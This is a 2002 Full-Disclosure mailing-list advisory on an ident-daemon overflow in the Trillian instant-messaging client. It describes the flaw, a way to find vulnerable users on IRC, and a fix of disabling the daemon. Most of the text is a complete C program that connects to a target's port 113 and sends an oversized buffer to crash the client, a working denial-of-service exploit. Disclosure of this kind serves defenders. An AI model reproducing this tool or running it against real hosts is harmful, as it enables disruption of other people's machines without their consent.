Discovered:
-----------
03 September 2002 By Me, Lance Fitz-Herbert (aka phrizer).


Vulnerable Applications:
------------------------
Tested On Trillian .74 and .73, But im guessing older versions are also 
vulnerable.


Impact:
-------
Low-High. This could allow arbitary code to be executed on the remote 
victims machine, or simply used as a DoS.

Its not yet known whether this can actually be used to execute code on the 
machine however, if someone finds out, please let us know. :D

Details:
--------
Trillian is a popular Instant Messageing client, which supports 
icq/aim/yahoo/msn and IRC.
In order to connect to some IRC networks the user has to have an Identd 
running. Trillian incorperates an ident daemon in the client, which is 
susceptible to an overflow attack if enabled.

Connecting To the ident (on port 113) and sending 418 bytes will cause 
trillian to crash.
It should be noted that trillian leaves the ident port open throughout the 
IRC session, an attacker would just have
to connect to an IRC server and perform a '/who +u *tril*' and he/she would 
be greeted with a list of users running trillian.


Solution:
---------
Disable Trillians Identd, and install a third party one if necessary.


DoS Example Exploit Code Follows:
---------------------------------

/* Trillian-Ident.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Ident Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5
   This Example Will Just DoS The Trillian Client.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char payload[500];
int main(int argc, char * argv[]) {
	int iret;
	struct hostent *host;
	SOCKET sockhandle;
	SOCKADDR_IN address;
	WSADATA wsdata;

	if (argc<2) {
		printf("\nTrillian Ident DoS\n");
		printf("----------------------\n");
		printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
		printf("Tested On Version .74 and .73\n\n");
		printf("Usage: trillian-ident <address>");
		return 0;
	}

	WSAStartup(MAKEWORD(1,1),&wsdata);
	printf("Making Socket Now...\n");
	sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

	if (sockhandle == SOCKET_ERROR) {
		printf("Error Creating Socket\n");
		WSACleanup();
		return 1;
	}

	printf("Socket Created\n");

	address.sin_family = AF_INET;
	address.sin_port = htons(113);
	address.sin_addr.s_addr = inet_addr(argv[1]);


	if (address.sin_addr.s_addr == INADDR_NONE) {
		host = NULL;
		printf("Trying To Resolve Host\n");
		host = gethostbyname(argv[1]);
		if (host == NULL) {
			printf("Uknown Host: %s\n",argv[1]);
			WSACleanup();
			return 1;
		}
		memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
	}



	printf("Connecting To Server...\n");
	iret = connect(sockhandle, (struct sockaddr *) &address,	sizeof(address));

	if (iret == SOCKET_ERROR) {
		printf("Couldnt Connect\n");
		WSACleanup();
		return 1;
	}

	printf("Connected to %s!\nSending Payload\n",argv[1]);
	memset(payload,'A',500);
	send(sockhandle,payload,strlen(payload),0);
	Sleep(100);
	WSACleanup();
	return 0;
}


-- end code --

----
NOTE: Because of the amount of spam i receive, i require all emails directed 
*to me* to contain the word "nospam" in the subject line somewhere. Else i 
might not get your email. thankyou.
----








_________________________________________________________________
Join the world’s largest e-mail service with MSN Hotmail. 
http://www.hotmail.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html